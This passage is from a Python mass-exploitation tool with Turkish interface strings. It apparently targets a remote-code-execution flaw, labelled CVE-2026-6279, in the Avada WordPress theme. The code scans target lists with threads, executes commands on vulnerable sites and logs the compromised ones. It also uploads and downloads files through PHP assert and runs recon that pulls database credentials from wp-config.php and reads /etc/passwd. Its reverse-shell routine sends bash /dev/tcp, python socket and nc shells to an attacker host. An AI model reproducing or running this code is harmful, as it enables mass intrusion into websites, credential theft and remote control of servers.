log_err("hedef listesi boş"); return
sep()
log_info(f"{len(targets)} hedef · {threads} thread · cmd: {cmd}")
sep(); print()
stats = {"total":len(targets),"done":0,
"pwned":0,"clean":0,"nonce":0,"waf":0,"skip":0}
q = Queue()
bar_lock = threading.Lock()
for t in targets: q.put(t)
def worker():
while True:
try: url = q.get(timeout=3)
except Empty: break
try:
sess = mksess()
base = resolve(url)
base = try_https(sess, base)
ver, is_vuln = get_version(sess, base)
if is_vuln is False:
with bar_lock:
stats["done"]+=1; stats["skip"]+=1
print(f" {DM}[PATCH]{N} {url[:48]} {DM}v{ver}{N}")
_draw_bar(stats)
q.task_done(); continue
if ver is None:
try:
r = sess.get(f"{base}/", timeout=TIMEOUT)
if not r.ok or not is_avada(r.text):
with bar_lock:
stats["done"]+=1; stats["skip"]+=1
print(f" {DM}[SKIP ]{N} {url[:48]}")
_draw_bar(stats)
q.task_done(); continue
except:
with bar_lock:
stats["done"]+=1; stats["skip"]+=1
print(f" {DM}[DOWN ]{N} {url[:48]}")
_draw_bar(stats)
q.task_done(); continue
ok,output,func,ajax_url,nonce = exploit(
sess,base,cmd,verbose=False)
with bar_lock:
stats["done"]+=1
if ok:
stats["pwned"]+=1
out_s = output[:50] if output else "?"
print(f" {R}[PWNED]{N} {url:<42} "
f"{G}{out_s}{N} {DM}via {func}{N}")
_save(base,output,func,nonce,ver or "?",outfile)
elif output=="NO_NONCE":
stats["clean"]+=1
print(f" {G}[CLEAN]{N} {url[:48]} {DM}no shortcode{N}")
elif output=="NONCE_EXPIRED":
stats["nonce"]+=1
print(f" {Y}[NONCE]{N} {url[:48]}")
elif output in ("WAF_BLOCKED","ACTION_MISSING"):
stats["waf"]+=1
print(f" {M}[WAF ]{N} {url[:48]} {DM}{output}{N}")
else:
stats["clean"]+=1
ver_s = f" {DM}v{ver}{N}" if ver else ""
print(f" {G}[CLEAN]{N} {url[:48]}{ver_s}")
_draw_bar(stats)
except Exception:
with bar_lock: stats["done"]+=1
finally: q.task_done()
tlist = []
for _ in range(min(threads,len(targets))):
t = threading.Thread(target=worker,daemon=True)
t.start(); tlist.append(t)
for t in tlist: t.join()
print("\n"); sep()
print(f" {P}TAMAMLANDI{N}"); sep()
print(f" Total : {W}{stats['total']}{N}")
print(f" PWNED : {R}{stats['pwned']}{N}")
print(f" Clean : {G}{stats['clean']}{N}")
print(f" Nonce : {Y}{stats['nonce']}{N}")
print(f" WAF : {M}{stats['waf']}{N}")
print(f" Skip : {DM}{stats['skip']}{N}")
print(f" Kayıt : {C}{outfile}{N}")
def _draw_bar(stats):
pct = int(stats["done"]/stats["total"]*100) if stats["total"] else 0
bar = "█"*(pct//5)+"░"*(20-pct//5)
print(f" {C}[{bar}] {pct:3}% "
f"{stats['done']}/{stats['total']} "
f"PWNED:{stats['pwned']} "
f"CLEAN:{stats['clean']} "
f"NONCE:{stats['nonce']} "
f"WAF:{stats['waf']}{N}",end="\r")
def _save(base,output,func,nonce,ver,outfile):
with lock:
with open(outfile,"a",encoding="utf-8") as f:
f.write(f"url : {base}\n")
f.write(f"version : {ver}\n")
f.write(f"output : {output}\n")
f.write(f"function: {func}\n")
f.write(f"nonce : {nonce}\n")
f.write(f"time : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
# ──────────────────────────────────────────────────────────────
# UPLOAD / DOWNLOAD / RECON / REVSHELL
# ──────────────────────────────────────────────────────────────
def _upload(sess,ajax_url,nonce,local,remote,cwd,host=None):
try:
with open(local,"rb") as f: data=base64.b64encode(f.read()).decode()
except FileNotFoundError:
log_err(f"dosya yok: {local}"); return
if not remote.startswith("/"): remote=f"{cwd}/{remote}"
chunks=[data[i:i+400] for i in range(0,len(data),400)]
log_info(f"yükleniyor {local} → {remote} ({len(chunks)} parça)")
for i,chunk in enumerate(chunks):
post = make_post_A(nonce,"file_put_contents",
[remote+".b64", chunk,
"FILE_APPEND" if i>0 else "0"])
_ajax_retry(sess,ajax_url,post,"",host)
decode_php = (
"$d=base64_decode(file_get_contents('" + remote + ".b64'));"
"file_put_contents('" + remote + "',$d);"
"unlink('" + remote + ".b64');"
"echo '" + S1 + "'.filesize('" + remote + "').'" + S2 + "';"
)
_,body = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"assert",[decode_php]),"",host)
log_ok(f"yüklendi: {remote} ({ekstrak_s(body)} bytes)")
def _download(sess,ajax_url,nonce,remote,host=None):
dl_php = ("echo '" + S1 + "'."
"base64_encode(file_get_contents('" + remote + "'))."
"'" + S2 + "';")
_,body = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"assert",[dl_php]),"",host)
b64 = ekstrak_s(body)
if not b64: log_err(f"okunamadı: {remote}"); return
try:
decoded = base64.b64decode(b64)
local = remote.split("/")[-1]
with open(local,"wb") as f: f.write(decoded)
log_ok(f"indirildi: {local} ({len(decoded)} bytes)")
except Exception as e: log_err(str(e))
def _recon(sess,ajax_url,nonce,base,host=None):
cmds=[
("user", "id"),
("hostname", "hostname"),
("os", "uname -a"),
("cwd", "pwd"),
("wp-config","find / -name wp-config.php 2>/dev/null | head -1 | "
"xargs grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST' 2>/dev/null"),
("passwd", "cat /etc/passwd | grep -v nologin | grep -v false | head -6"),
("network", "ip addr 2>/dev/null | grep 'inet ' || "
"ifconfig 2>/dev/null | grep 'inet '"),
("ports", "ss -tlnp 2>/dev/null | head -8"),
("suid", "find / -perm -4000 -type f 2>/dev/null | head -6"),
("php_dis", "php -r 'echo ini_get(\"disable_functions\");' 2>/dev/null"),
]
print(); sep(); log_ok(f"RECON · {base}"); sep()
results={}
for label,cmd in cmds:
print(f" {M}→{N} {label:<12}",end=" ",flush=True)
out=run_cmd(sess,ajax_url,nonce,cmd,"",host)
results[label]=out
first=out.splitlines()[0][:55] if out else ""
print(f"{G}{first}{N}" if first else f"{DM}empty{N}")
fname=(f"recon_{re.sub(r'^https?://','',base).replace('/','_')}"
f"_{datetime.now().strftime('%H%M%S')}.txt")
with open(fname,"w",encoding="utf-8") as f:
f.write(f"CVE-2026-6279 Recon: {base}\n{datetime.now()}\n\n")
for k,v in results.items(): f.write(f"[{k}]\n{v}\n\n")
print(); log_ok(f"kaydedildi: {fname}")
def _revshell(sess,ajax_url,nonce,lhost,lport,cwd,host=None):
shells=[
f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
f"python3 -c 'import socket,subprocess,os;s=socket.socket();"
f"s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);"
f"os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
f"subprocess.call([\"/bin/sh\",\"-i\"])'",
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
]
log_warn(f"listener başlat: nc -lvnp {lport}")
for sh in shells:
run_cmd(sess,ajax_url,nonce,
f"cd {cwd} && ({sh}) > /dev/null 2>&1 &","",host)
log_dim(f"denendi: {sh[:60]}...")
# ──────────────────────────────────────────────────────────────
# MAIN
# ──────────────────────────────────────────────────────────────
def main():
while True:
menu()
try:
choice=input(f" {G}♡{N} choice {DM}[1/2/3]{N} : ").strip()
except (EOFError,KeyboardInterrupt):
print(); log_dim("see you next time ♡"); break
if choice=="1":
mode_single()
input(f"\n {DM}enter...{N}")
elif choice=="2":
mode_batch()
input(f"\n {DM}enter...{N}")
elif choice=="3":
print(); log_dim("see you next time ♡"); break
else:
log_warn("geçersiz seçim"); time.sleep(1)
if __name__ == "__main__":
main()